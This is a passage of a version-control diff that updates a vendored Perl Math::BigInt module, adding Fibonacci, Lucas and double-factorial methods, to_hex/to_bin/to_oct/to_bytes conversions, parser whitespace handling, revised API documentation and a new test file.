+1,2,...,OBJ2-1 or the same value subtracted OBJ2. For instance, if the input
+arguments are objects representing the numbers 7 and 5, the method must either
+return an object representing the number 3 and a "+" sign, since (3*7) % 5 = 1
+% 5, or an object representing the number 2 and a "-" sign, since (-2*7) % 5 = 1
+% 5.
 
-=item _modpow(OBJ1, OBJ2, OBJ3)
+=item CLASS-E<gt>_modpow(OBJ1, OBJ2, OBJ3)
 
-Return modular exponentiation, (OBJ1 ** OBJ2) % OBJ3.
+Returns the modular exponentiation, i.e., (OBJ1 ** OBJ2) % OBJ3.
 
-=item _rsft(OBJ, N, B)
+=item CLASS-E<gt>_rsft(OBJ, N, B)
 
-Shift object N digits right in base B and return the resulting object. This is
+Returns the result after shifting OBJ N digits to thee right in base B. This is
 equivalent to performing integer division by B**N and discarding the remainder,
-except that it might be much faster, depending on how the number is represented
-internally.
+except that it might be much faster.
 
 For instance, if the object $obj represents the hexadecimal number 0xabcde,
 then C<_rsft($obj, 2, 16)> returns an object representing the number 0xabc. The
 "remainer", 0xde, is discarded and not returned.
 
-=item _lsft(OBJ, N, B)
+=item CLASS-E<gt>_lsft(OBJ, N, B)
 
-Shift the object N digits left in base B. This is equivalent to multiplying by
-B**N, except that it might be much faster, depending on how the number is
-represented internally.
+Returns the result after shifting OBJ N digits to the left in base B. This is
+equivalent to multiplying by B**N, except that it might be much faster.
 
-=item _log_int(OBJ, B)
+=item CLASS-E<gt>_log_int(OBJ, B)
 
-Return integer log of OBJ to base BASE. This method has two output arguments,
-the OBJECT and a STATUS. The STATUS is Perl scalar; it is 1 if OBJ is the exact
-result, 0 if the result was truncted to give OBJ, and undef if it is unknown
-whether OBJ is the exact result.
+Returns the logarithm of OBJ to base BASE truncted to an integer. This method
+has two output arguments, the OBJECT and a STATUS. The STATUS is Perl scalar;
+it is 1 if OBJ is the exact result, 0 if the result was truncted to give OBJ,
+and undef if it is unknown whether OBJ is the exact result.
 
-=item _gcd(OBJ1, OBJ2)
+=item CLASS-E<gt>_gcd(OBJ1, OBJ2)
 
-Return the greatest common divisor of OBJ1 and OBJ2.
+Returns the greatest common divisor of OBJ1 and OBJ2.
 
-=item _lcm(OBJ1, OBJ2)
+=item CLASS-E<gt>_lcm(OBJ1, OBJ2)
 
 Return the least common multiple of OBJ1 and OBJ2.
 
+=item CLASS-E<gt>_fib(OBJ)
+
+In scalar context, returns the nth Fibonacci number: _fib(0) returns 0, _fib(1)
+returns 1, _fib(2) returns 1, _fib(3) returns 2 etc. In list context, returns
+the Fibonacci numbers from F(0) to F(n): 0, 1, 1, 2, 3, 5, 8, 13, 21, 34, ...
+
+=item CLASS-E<gt>_lucas(OBJ)
+
+In scalar context, returns the nth Lucas number: _lucas(0) returns 2, _lucas(1)
+returns 1, _lucas(2) returns 3, etc. In list context, returns the Lucas numbers
+from L(0) to L(n): 2, 1, 3, 4, 7, 11, 18, 29,47, 76, ...
+
 =back
 
 =head3 Bitwise operators
 
-Each of these methods may modify the first input argument.
-
 =over 4
 
-=item _and(OBJ1, OBJ2)
+=item CLASS-E<gt>_and(OBJ1, OBJ2)
 
-Return bitwise and. If necessary, the smallest number is padded with leading
-zeros.
+Returns bitwise and.
 
-=item _or(OBJ1, OBJ2)
+=item CLASS-E<gt>_or(OBJ1, OBJ2)
 
-Return bitwise or. If necessary, the smallest number is padded with leading
-zeros.
+Return bitwise or.
 
-=item _xor(OBJ1, OBJ2)
+=item CLASS-E<gt>_xor(OBJ1, OBJ2)
 
-Return bitwise exclusive or. If necessary, the smallest number is padded
-with leading zeros.
+Return bitwise exclusive or.
 
 =back
 
@@ -1450,34 +1787,34 @@
 
 =over 4
 
-=item _is_zero(OBJ)
+=item CLASS-E<gt>_is_zero(OBJ)
 
 Returns a true value if OBJ is zero, and false value otherwise.
 
-=item _is_one(OBJ)
+=item CLASS-E<gt>_is_one(OBJ)
 
 Returns a true value if OBJ is one, and false value otherwise.
 
-=item _is_two(OBJ)
+=item CLASS-E<gt>_is_two(OBJ)
 
 Returns a true value if OBJ is two, and false value otherwise.
 
-=item _is_ten(OBJ)
+=item CLASS-E<gt>_is_ten(OBJ)
 
 Returns a true value if OBJ is ten, and false value otherwise.
 
-=item _is_even(OBJ)
+=item CLASS-E<gt>_is_even(OBJ)
 
 Return a true value if OBJ is an even integer, and a false value otherwise.
 
-=item _is_odd(OBJ)
+=item CLASS-E<gt>_is_odd(OBJ)
 
 Return a true value if OBJ is an even integer, and a false value otherwise.
 
-=item _acmp(OBJ1, OBJ2)
+=item CLASS-E<gt>_acmp(OBJ1, OBJ2)
 
-Compare OBJ1 and OBJ2 and return -1, 0, or 1, if OBJ1 is less than, equal
-to, or larger than OBJ2, respectively.
+Compare OBJ1 and OBJ2 and return -1, 0, or 1, if OBJ1 is numerically less than,
+equal to, or larger than OBJ2, respectively.
 
 =back
 
@@ -1485,36 +1822,45 @@
 
 =over 4
 
-=item _str(OBJ)
+=item CLASS-E<gt>_str(OBJ)
 
-Return a string representing the object. The returned string should have no
-leading zeros, i.e., it should match C<^(0|[1-9]\d*)$>.
+Returns a string representing OBJ in decimal notation. The returned string
+should have no leading zeros, i.e., it should match C<^(0|[1-9]\d*)$>.
 
-=item _as_bin(OBJ)
+=item CLASS-E<gt>_to_bin(OBJ)
 
-Return the binary string representation of the number. The string must have a
-'0b' prefix.
+Returns the binary string representation of OBJ.
 
-=item _as_oct(OBJ)
+=item CLASS-E<gt>_to_oct(OBJ)
 
-Return the octal string representation of the number. The string must have
-a '0x' prefix.
+Returns the octal string representation of the number.
 
-Note: This method was required from Math::BigInt version 1.78, but the required
-API version number was not incremented, so there are older libraries that
-support API version 1, but do not support C<_as_oct()>.
+=item CLASS-E<gt>_to_hex(OBJ)
 
-=item _as_hex(OBJ)
+Returns the hexadecimal string representation of the number.
 
-Return the hexadecimal string representation of the number. The string must
-have a '0x' prefix.
+=item CLASS-E<gt>_to_bytes(OBJ)
 
-=item _as_bytes(OBJ)
+Returns a byte string representation of OBJ. The byte string is in big endian
+byte order, so if OBJ represents the number 256, the output should be the
+two-byte string "\x01\x00".
 
-Return a byte string representation of the number. The byte string is in big
-endian byte order, so if the object represents the number 256, the output
-should be the two-byte string "\x01\x00".
+=item CLASS-E<gt>_as_bin(OBJ)
 
+Like C<_to_bin()> but with a '0b' prefix.
+
+=item CLASS-E<gt>_as_oct(OBJ)
+
+Like C<_to_oct()> but with a '0' prefix.
+
+=item CLASS-E<gt>_as_hex(OBJ)
+
+Like C<_to_hex()> but with a '0x' prefix.
+
+=item CLASS-E<gt>_as_bytes(OBJ)
+
+This is an alias to C<_to_bytes()>.
+
 =back
 
 =head3 Numeric conversion
@@ -1521,10 +1867,11 @@
 
 =over 4
 
-=item _num(OBJ)
+=item CLASS-E<gt>_num(OBJ)
 
-Given an object, return a Perl scalar number (int/float) representing this
-number.
+Returns a Perl scalar number representing the number OBJ as close as
+possible. Since Perl scalars have limited precision, the returned value might
+not be exactly the same as OBJ.
 
 =back
 
@@ -1532,32 +1879,40 @@
 
 =over 4
 
-=item _copy(OBJ)
+=item CLASS-E<gt>_copy(OBJ)
 
-Return a true copy of the object.
+Returns a true copy OBJ.
 
-=item _len(OBJ)
+=item CLASS-E<gt>_len(OBJ)
 
-Returns the number of the decimal digits in the number. The output is a
-Perl scalar.
+Returns the number of the decimal digits in OBJ. The output is a Perl scalar.
 
-=item _zeros(OBJ)
+=item CLASS-E<gt>_zeros(OBJ)
 
-Return the number of trailing decimal zeros. The output is a Perl scalar.
+Returns the number of trailing decimal zeros. The output is a Perl scalar. The
+number zero has no trailing decimal zeros.
 
-=item _digit(OBJ, N)
+=item CLASS-E<gt>_digit(OBJ, N)
 
-Return the Nth digit as a Perl scalar. N is a Perl scalar, where zero refers to
-the rightmost (least significant) digit, and negative values count from the
-left (most significant digit). If $obj represents the number 123, then
-I<$obj->_digit(0)> is 3 and I<_digit(123, -1)> is 1.
+Returns the Nth digit in OBJ as a Perl scalar. N is a Perl scalar, where zero
+refers to the rightmost (least significant) digit, and negative values count
+from the left (most significant digit). If $obj represents the number 123, then
 
-=item _check(OBJ)
+    CLASS->_digit($obj,  0)     # returns 3
+    CLASS->_digit($obj,  1)     # returns 2
+    CLASS->_digit($obj,  2)     # returns 1
+    CLASS->_digit($obj, -1)     # returns 1
 
-Return true if the object is invalid and false otherwise. Preferably, the true
+=item CLASS-E<gt>_check(OBJ)
+
+Returns true if the object is invalid and false otherwise. Preferably, the true
 value is a string describing the problem with the object. This is a check
 routine to test the internal state of the object for corruption.
 
+=item CLASS-E<gt>_set(OBJ)
+
+xxx
+
 =back
 
 =head2 API version 2
@@ -1568,7 +1923,7 @@
 
 =over 4
 
-=item _1ex(N)
+=item CLASS-E<gt>_1ex(N)
 
 Return an object representing the number 10**N where N E<gt>= 0 is a Perl
 scalar.
@@ -1579,7 +1934,7 @@
 
 =over 4
 
-=item _nok(OBJ1, OBJ2)
+=item CLASS-E<gt>_nok(OBJ1, OBJ2)
 
 Return the binomial coefficient OBJ1 over OBJ1.
 
@@ -1589,7 +1944,7 @@
 
 =over 4
 
-=item _alen(OBJ)
+=item CLASS-E<gt>_alen(OBJ)
 
 Return the approximate number of decimal digits of the object. The output is a
 Perl scalar.
@@ -1606,15 +1961,15 @@
 
 =over 4
 
-=item _signed_or(OBJ1, OBJ2, SIGN1, SIGN2)
+=item CLASS-E<gt>_signed_or(OBJ1, OBJ2, SIGN1, SIGN2)
 
 Return the signed bitwise or.
 
-=item _signed_and(OBJ1, OBJ2, SIGN1, SIGN2)
+=item CLASS-E<gt>_signed_and(OBJ1, OBJ2, SIGN1, SIGN2)
 
 Return the signed bitwise and.
 
-=item _signed_xor(OBJ1, OBJ2, SIGN1, SIGN2)
+=item CLASS-E<gt>_signed_xor(OBJ1, OBJ2, SIGN1, SIGN2)
 
 Return the signed bitwise exclusive or.
 

Modified: vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt.pm
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -20,7 +20,7 @@
 
 use Carp ();
 
-our $VERSION = '1.999806';
+our $VERSION = '1.999811';
 
 our @ISA = qw(Exporter);
 our @EXPORT_OK = qw(objectify bgcd blcm);
@@ -731,6 +731,7 @@
 
     if ($str =~ s/
                      ^
+                     \s*
                      ( [+-]? )
                      (0?x)?
                      (
@@ -737,6 +738,7 @@
                          [0-9a-fA-F]*
                          ( _ [0-9a-fA-F]+ )*
                      )
+                     \s*
                      $
                  //x)
     {
@@ -785,11 +787,13 @@
 
     if ($str =~ s/
                      ^
+                     \s*
                      ( [+-]? )
                      (
                          [0-7]*
                          ( _ [0-7]+ )*
                      )
+                     \s*
                      $
                  //x)
     {
@@ -838,6 +842,7 @@
 
     if ($str =~ s/
                      ^
+                     \s*
                      ( [+-]? )
                      (0?b)?
                      (
@@ -844,6 +849,7 @@
                          [01]*
                          ( _ [01]+ )*
                      )
+                     \s*
                      $
                  //x)
     {
@@ -884,6 +890,9 @@
 
     return if $selfref && $self->modify('from_bytes');
 
+    Carp::croak("from_bytes() requires a newer version of the $CALC library.")
+        unless $CALC->can('_from_bytes');
+
     my $str = shift;
 
     # If called as a class method, initialize a new object.
@@ -2376,14 +2385,19 @@
     # value is used as the base, otherwise the base is assumed to be Euler's
     # constant.
 
+    my ($class, $x, $base, @r);
+
     # Don't objectify the base, since an undefined base, as in $x->blog() or
     # $x->blog(undef) signals that the base is Euler's number.
 
-    # set up parameters
-    my ($class, $x, $base, @r) = (undef, @_);
-    # objectify is costly, so avoid it
-    if ((!ref($_[0])) || (ref($_[0]) ne ref($_[1]))) {
-        ($class, $x, $base, @r) = objectify(2, @_);
+    if (!ref($_[0]) && $_[0] =~ /^[A-Za-z]|::/) {
+        # E.g., Math::BigInt->blog(256, 2)
+        ($class, $x, $base, @r) =
+          defined $_[2] ? objectify(2, @_) : objectify(1, @_);
+    } else {
+        # E.g., Math::BigInt::blog(256, 2) or $x->blog(2)
+        ($class, $x, $base, @r) =
+          defined $_[1] ? objectify(2, @_) : objectify(1, @_);
     }
 
     return $x if $x->modify('blog');
@@ -2708,6 +2722,132 @@
     $x->round(@r);
 }
 
+sub bdfac {
+    # compute double factorial, modify $x in place
+    my ($class, $x, @r) = ref($_[0]) ? (undef, @_) : objectify(1, @_);
+
+    return $x if $x->modify('bdfac') || $x->{sign} eq '+inf'; # inf => inf
+    return $x->bnan() if $x->{sign} ne '+'; # NaN, <0 etc => NaN
+
+    Carp::croak("bdfac() requires a newer version of the $CALC library.")
+        unless $CALC->can('_dfac');
+
+    $x->{value} = $CALC->_dfac($x->{value});
+    $x->round(@r);
+}
+
+sub bfib {
+    # compute Fibonacci number(s)
+    my ($class, $x, @r) = objectify(1, @_);
+
+    Carp::croak("bfib() requires a newer version of the $CALC library.")
+        unless $CALC->can('_fib');
+
+    return $x if $x->modify('bfib');
+
+    # List context.
+
+    if (wantarray) {
+        return () if $x ->  is_nan();
+        Carp::croak("bfib() can't return an infinitely long list of numbers")
+            if $x -> is_inf();
+
+        # Use the backend library to compute the first $x Fibonacci numbers.
+
+        my @values = $CALC->_fib($x->{value});
+
+        # Make objects out of them. The last element in the array is the
+        # invocand.
+
+        for (my $i = 0 ; $i < $#values ; ++ $i) {
+            my $fib =  $class -> bzero();
+            $fib -> {value} = $values[$i];
+            $values[$i] = $fib;
+        }
+
+        $x -> {value} = $values[-1];
+        $values[-1] = $x;
+
+        # If negative, insert sign as appropriate.
+
+        if ($x -> is_neg()) {
+            for (my $i = 2 ; $i <= $#values ; $i += 2) {
+                $values[$i]{sign} = '-';
+            }
+        }
+
+        @values = map { $_ -> round(@r) } @values;
+        return @values;
+    }
+
+    # Scalar context.
+
+    else {
+        return $x if $x->modify('bdfac') || $x ->  is_inf('+');
+        return $x->bnan() if $x -> is_nan() || $x -> is_inf('-');
+
+        $x->{sign}  = $x -> is_neg() && $x -> is_even() ? '-' : '+';
+        $x->{value} = $CALC->_fib($x->{value});
+        return $x->round(@r);
+    }
+}
+
+sub blucas {
+    # compute Lucas number(s)
+    my ($class, $x, @r) = objectify(1, @_);
+
+    Carp::croak("blucas() requires a newer version of the $CALC library.")
+        unless $CALC->can('_lucas');
+
+    return $x if $x->modify('blucas');
+
+    # List context.
+
+    if (wantarray) {
+        return () if $x -> is_nan();
+        Carp::croak("blucas() can't return an infinitely long list of numbers")
+            if $x -> is_inf();
+
+        # Use the backend library to compute the first $x Lucas numbers.
+
+        my @values = $CALC->_lucas($x->{value});
+
+        # Make objects out of them. The last element in the array is the
+        # invocand.
+
+        for (my $i = 0 ; $i < $#values ; ++ $i) {
+            my $lucas =  $class -> bzero();
+            $lucas -> {value} = $values[$i];
+            $values[$i] = $lucas;
+        }
+
+        $x -> {value} = $values[-1];
+        $values[-1] = $x;
+
+        # If negative, insert sign as appropriate.
+
+        if ($x -> is_neg()) {
+            for (my $i = 2 ; $i <= $#values ; $i += 2) {
+                $values[$i]{sign} = '-';
+            }
+        }
+
+        @values = map { $_ -> round(@r) } @values;
+        return @values;
+    }
+
+    # Scalar context.
+
+    else {
+        return $x if $x ->  is_inf('+');
+        return $x->bnan() if $x -> is_nan() || $x -> is_inf('-');
+
+        $x->{sign}  = $x -> is_neg() && $x -> is_even() ? '-' : '+';
+        $x->{value} = $CALC->_lucas($x->{value});
+        return $x->round(@r);
+    }
+}
+
 sub blsft {
     # (BINT or num_str, BINT or num_str) return BINT
     # compute x << y, base n, y >= 0
@@ -3485,7 +3625,7 @@
     return $x->{sign} eq '-' ? "-$str" : $str;
 }
 
-sub as_hex {
+sub to_hex {
     # return as hex string, with prefixed 0x
     my $x = shift;
     $x = $class->new($x) if !ref($x);
@@ -3492,12 +3632,11 @@
 
     return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
 
-    my $s = '';
-    $s = $x->{sign} if $x->{sign} eq '-';
-    $s . $CALC->_as_hex($x->{value});
+    my $hex = $CALC->_to_hex($x->{value});
+    return $x->{sign} eq '-' ? "-$hex" : $hex;
 }
 
-sub as_oct {
+sub to_oct {
     # return as octal string, with prefixed 0
     my $x = shift;
     $x = $class->new($x) if !ref($x);
@@ -3504,11 +3643,11 @@
 
     return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
 
-    my $oct = $CALC->_as_oct($x->{value});
+    my $oct = $CALC->_to_oct($x->{value});
     return $x->{sign} eq '-' ? "-$oct" : $oct;
 }
 
-sub as_bin {
+sub to_bin {
     # return as binary string, with prefixed 0b
     my $x = shift;
     $x = $class->new($x) if !ref($x);
@@ -3515,21 +3654,59 @@
 
     return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
 
-    my $s = '';
-    $s = $x->{sign} if $x->{sign} eq '-';
-    return $s . $CALC->_as_bin($x->{value});
+    my $bin = $CALC->_to_bin($x->{value});
+    return $x->{sign} eq '-' ? "-$bin" : $bin;
 }
 
-sub as_bytes {
+sub to_bytes {
     # return a byte string
     my $x = shift;
     $x = $class->new($x) if !ref($x);
 
-    Carp::croak("as_bytes() requires a finite, non-negative integer")
+    Carp::croak("to_bytes() requires a finite, non-negative integer")
         if $x -> is_neg() || ! $x -> is_int();
-    return $CALC->_as_bytes($x->{value});
+
+    Carp::croak("to_bytes() requires a newer version of the $CALC library.")
+        unless $CALC->can('_to_bytes');
+
+    return $CALC->_to_bytes($x->{value});
 }
 
+sub as_hex {
+    # return as hex string, with prefixed 0x
+    my $x = shift;
+    $x = $class->new($x) if !ref($x);
+
+    return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
+
+    my $hex = $CALC->_as_hex($x->{value});
+    return $x->{sign} eq '-' ? "-$hex" : $hex;
+}
+
+sub as_oct {
+    # return as octal string, with prefixed 0
+    my $x = shift;
+    $x = $class->new($x) if !ref($x);
+
+    return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
+
+    my $oct = $CALC->_as_oct($x->{value});
+    return $x->{sign} eq '-' ? "-$oct" : $oct;
+}
+
+sub as_bin {
+    # return as binary string, with prefixed 0b
+    my $x = shift;
+    $x = $class->new($x) if !ref($x);
+
+    return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
+
+    my $bin = $CALC->_as_bin($x->{value});
+    return $x->{sign} eq '-' ? "-$bin" : $bin;
+}
+
+*as_bytes = \&to_bytes;
+
 ###############################################################################
 # Other conversion methods
 ###############################################################################
@@ -3578,7 +3755,8 @@
     # Class->badd(Class->(1), 2);  => classname x (scalar), ref x, scalar y
     # Math::BigInt::badd(1, 2);    => scalar x, scalar y
 
-    # A shortcut for the common case $x->unary_op():
+    # A shortcut for the common case $x->unary_op(), in which case the argument
+    # list is (0, $x) or (1, $x).
 
     return (ref($_[1]), $_[1]) if @_ == 2 && ($_[0] || 0) == 1 && ref($_[1]);
 
@@ -3591,7 +3769,6 @@
     # Get the number of arguments to objectify.
 
     my $count = shift;
-    $count ||= @_;
 
     # Initialize the output array.
 
@@ -3601,17 +3778,18 @@
     # class name. Otherwise, if the first argument looks like a class name,
     # then use that as our class name. Otherwise, use the default class name.
 
-    {
-        if (ref($a[0])) {               # reference?
-            unshift @a, ref($a[0]);
-            last;
-        }
-        if ($a[0] =~ /^[A-Z].*::/) {    # string with class name?
-            last;
-        }
-        unshift @a, $class;             # default class name
+    my $class;
+    if (ref($a[0])) {                   # reference?
+        $class = ref($a[0]);
+    } elsif ($a[0] =~ /^[A-Z].*::/) {   # string with class name?
+        $class = shift @a;
+    } else {
+        $class = __PACKAGE__;           # default class name
     }
 
+    $count ||= @a;
+    unshift @a, $class;
+
     no strict 'refs';
 
     # What we upgrade to, if anything.
@@ -3629,12 +3807,6 @@
 
     for my $i (1 .. $count) {
 
-        # Don't do anything with undefs. This special treatment is necessary
-        # because blog() might have a second operand which is undef, to signify
-        # that the default Euler base should be used.
-
-        next unless defined $a[$i];
-
         my $ref = ref $a[$i];
 
         # Perl scalars are fed to the appropriate constructor.
@@ -4268,10 +4440,15 @@
   $x->bnstr();        # string in normalized notation
   $x->bestr();        # string in engineering notation
   $x->bdstr();        # string in decimal notation
+
+  $x->to_hex();       # as signed hexadecimal string
+  $x->to_bin();       # as signed binary string
+  $x->to_oct();       # as signed octal string
+  $x->to_bytes();     # as byte string
+
   $x->as_hex();       # as signed hexadecimal string with prefixed 0x
   $x->as_bin();       # as signed binary string with prefixed 0b
   $x->as_oct();       # as signed octal string with prefixed 0
-  $x->as_bytes();     # as byte string
 
   # Other conversion methods
 
@@ -5103,6 +5280,86 @@
 
     $x->bfac();                 # factorial of $x (1*2*3*4*..*$x)
 
+Returns the factorial of C<$x>, i.e., the product of all positive integers up
+to and including C<$x>.
+
+=item bdfac()
+
+    $x->bdfac();                # double factorial of $x (1*2*3*4*..*$x)
+
+Returns the double factorial of C<$x>. If C<$x> is an even integer, returns the
+product of all positive, even integers up to and including C<$x>, i.e.,
+2*4*6*...*$x. If C<$x> is an odd integer, returns the product of all positive,
+odd integers, i.e., 1*3*5*...*$x.
+
+=item bfib()
+
+    $F = $n->bfib();            # a single Fibonacci number
+    @F = $n->bfib();            # a list of Fibonacci numbers
+
+In scalar context, returns a single Fibonacci number. In list context, returns
+a list of Fibonacci numbers. The invocand is the last element in the output.
+
+The Fibonacci sequence is defined by
+
+    F(0) = 0
+    F(1) = 1
+    F(n) = F(n-1) + F(n-2)
+
+In list context, F(0) and F(n) is the first and last number in the output,
+respectively. For example, if $n is 12, then C<< @F = $n->bfib() >> returns the
+following values, F(0) to F(12):
+
+    0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144
+
+The sequence can also be extended to negative index n using the re-arranged
+recurrence relation
+
+    F(n-2) = F(n) - F(n-1)
+
+giving the bidirectional sequence
+
+       n  -7  -6  -5  -4  -3  -2  -1   0   1   2   3   4   5   6   7
+    F(n)  13  -8   5  -3   2  -1   1   0   1   1   2   3   5   8  13
+
+If $n is -12, the following values, F(0) to F(12), are returned:
+
+    0, 1, -1, 2, -3, 5, -8, 13, -21, 34, -55, 89, -144
+
+=item blucas()
+
+    $F = $n->blucas();          # a single Lucas number
+    @F = $n->blucas();          # a list of Lucas numbers
+
+In scalar context, returns a single Lucas number. In list context, returns a
+list of Lucas numbers. The invocand is the last element in the output.
+
+The Lucas sequence is defined by
+
+    L(0) = 2
+    L(1) = 1
+    L(n) = L(n-1) + L(n-2)
+
+In list context, L(0) and L(n) is the first and last number in the output,
+respectively. For example, if $n is 12, then C<< @L = $n->blucas() >> returns
+the following values, L(0) to L(12):
+
+    2, 1, 3, 4, 7, 11, 18, 29, 47, 76, 123, 199, 322
+
+The sequence can also be extended to negative index n using the re-arranged
+recurrence relation
+
+    L(n-2) = L(n) - L(n-1)
+
+giving the bidirectional sequence
+
+       n  -7  -6  -5  -4  -3  -2  -1   0   1   2   3   4   5   6   7
+    L(n)  29 -18  11  -7   4  -3   1   2   1   3   4   7  11  18  29
+
+If $n is -12, the following values, L(0) to L(-12), are returned:
+
+    2, 1, -3, 4, -7, 11, -18, 29, -47, 76, -123, 199, -322
+
 =item brsft()
 
     $x->brsft($n);              # right shift $n places in base 2
@@ -5378,35 +5635,54 @@
     12000 is returned as "12000"
     10000 is returned as "10000"
 
+=item to_hex()
+
+    $x->to_hex();
+
+Returns a hexadecimal string representation of the number.
+
+=item to_bin()
+
+    $x->to_bin();
+
+Returns a binary string representation of the number.
+
+=item to_oct()
+
+    $x->to_oct();
+
+Returns an octal string representation of the number.
+
+=item to_bytes()
+
+    $x = Math::BigInt->new("1667327589");
+    $s = $x->to_bytes();                    # $s = "cafe"
+
+Returns a byte string representation of the number using big endian byte
+order. The invocand must be a non-negative, finite integer.
+
 =item as_hex()
 
     $x->as_hex();
 
-Returns a string representing the number using hexadecimal notation. The output
-is prefixed by "0x".
+As, C<to_hex()>, but with a "0x" prefix.
 
 =item as_bin()
 
     $x->as_bin();
 
-Returns a string representing the number using binary notation. The output is
-prefixed by "0b".
+As, C<to_bin()>, but with a "0b" prefix.
 
 =item as_oct()
 
     $x->as_oct();
 
-Returns a string representing the number using octal notation. The output is
-prefixed by "0".
+As, C<to_oct()>, but with a "0" prefix.
 
 =item as_bytes()
 
-    $x = Math::BigInt->new("1667327589");
-    $s = $x->as_bytes();                    # $s = "cafe"
+This is just an alias for C<to_bytes()>.
 
-Returns a byte string representing the number using big endian byte order. The
-invocand must be a non-negative, finite integer.
-
 =back
 
 =head2 Other conversion methods

Modified: vendor/perl/dist/cpan/Math-BigInt/t/Math/BigFloat/Subclass.pm
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/Math/BigFloat/Subclass.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/Math/BigFloat/Subclass.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,9 +14,9 @@
 
 our ($accuracy, $precision, $round_mode, $div_scale);
 
-our @ISA = qw(Exporter Math::BigFloat);
+our @ISA = qw(Math::BigFloat Exporter);
 
-our $VERSION = "0.06";
+our $VERSION = "0.07";
 
 use overload;                   # inherit overload from BigInt
 

Modified: vendor/perl/dist/cpan/Math-BigInt/t/Math/BigInt/Subclass.pm
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/Math/BigInt/Subclass.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/Math/BigInt/Subclass.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,10 +14,10 @@
 our $lib;
 our ($accuracy, $precision, $round_mode, $div_scale);
 
-our @ISA = qw(Exporter Math::BigInt);
+our @ISA = qw(Math::BigInt Exporter);
 our @EXPORT_OK = qw(bgcd objectify);
 
-our $VERSION = "0.05";
+our $VERSION = "0.06";
 
 use overload;                   # inherit overload from BigInt
 

Modified: vendor/perl/dist/cpan/Math-BigInt/t/bare_mbf.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/bare_mbf.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/bare_mbf.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 2402;
+use Test::More tests => 2482;
 
 use lib 't';
 

Modified: vendor/perl/dist/cpan/Math-BigInt/t/bare_mbi.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/bare_mbi.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/bare_mbi.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 3913;           # tests in require'd file
+use Test::More tests => 3942;           # tests in require'd file
 
 use lib 't';
 

Added: vendor/perl/dist/cpan/Math-BigInt/t/bfib-mbi.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/bfib-mbi.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Math-BigInt/t/bfib-mbi.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,86 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 15;
+
+use Math::BigInt;
+
+my $x;
+
+###############################################################################
+# Scalar context.
+###############################################################################
+
+my $y;
+
+# Finite numbers.
+
+$x = Math::BigInt -> new("-20");
+$y = $x -> bfib();
+is($y, "-6765", "bfib(-20)");
+
+$x = Math::BigInt -> new("-15");
+$y = $x -> bfib();
+is($y, "610", "bfib(-15)");
+
+$x = Math::BigInt -> new("-2");
+$y = $x -> bfib();
+is($y, "-1", "bfib(-2)");
+
+$x = Math::BigInt -> new("-1");
+$y = $x -> bfib();
+is($y, "1", "bfib(-1)");
+
+$x = Math::BigInt -> new("0");
+$y = $x -> bfib();
+is($y, "0", "bfib(0)");
+
+$x = Math::BigInt -> new("1");
+$y = $x -> bfib();
+is($y, "1", "bfib(1)");
+
+$x = Math::BigInt -> new("2");
+$y = $x -> bfib();
+is($y, "1", "bfib(2)");
+
+$x = Math::BigInt -> new("15");
+$y = $x -> bfib();
+is($y, "610", "bfib(15)");
+
+$x = Math::BigInt -> new("20");
+$y = $x -> bfib();
+is($y, "6765", "bfib(20)");
+
+$x = Math::BigInt -> new("250");
+$y = $x -> bfib();
+is($y, "7896325826131730509282738943634332893686268675876375", "bfib(250)");
+
+# Infinites and NaN.
+
+$x = Math::BigInt -> binf("+");
+$y = $x -> bfib();
+is($y, "inf", "bfib(+inf)");
+
+$x = Math::BigInt -> binf("-");
+$y = $x -> bfib();
+is($y, "NaN", "bfib(-inf)");
+
+$x = Math::BigInt -> bnan();
+$y = $x -> bfib();
+is($y, "NaN", "bfib(NaN)");
+
+###############################################################################
+# List context.
+###############################################################################
+
+my @y;
+
+$x = Math::BigInt -> new("10");
+ at y = $x -> bfib();
+is_deeply(\@y, [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55], "bfib(10)");
+
+$x = Math::BigInt -> new("-10");
+ at y = $x -> bfib();
+is_deeply(\@y, [0, 1, -1, 2, -3, 5, -8, 13, -21, 34, -55], "bfib(-10)");

Modified: vendor/perl/dist/cpan/Math-BigInt/t/bigfltpm.inc
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/bigfltpm.inc	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/bigfltpm.inc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -23,7 +23,6 @@
     if (/^\$/) {
         $setup = $_;
         $setup =~ s/\$/\$${CLASS}::/g;  # round_mode, div_scale
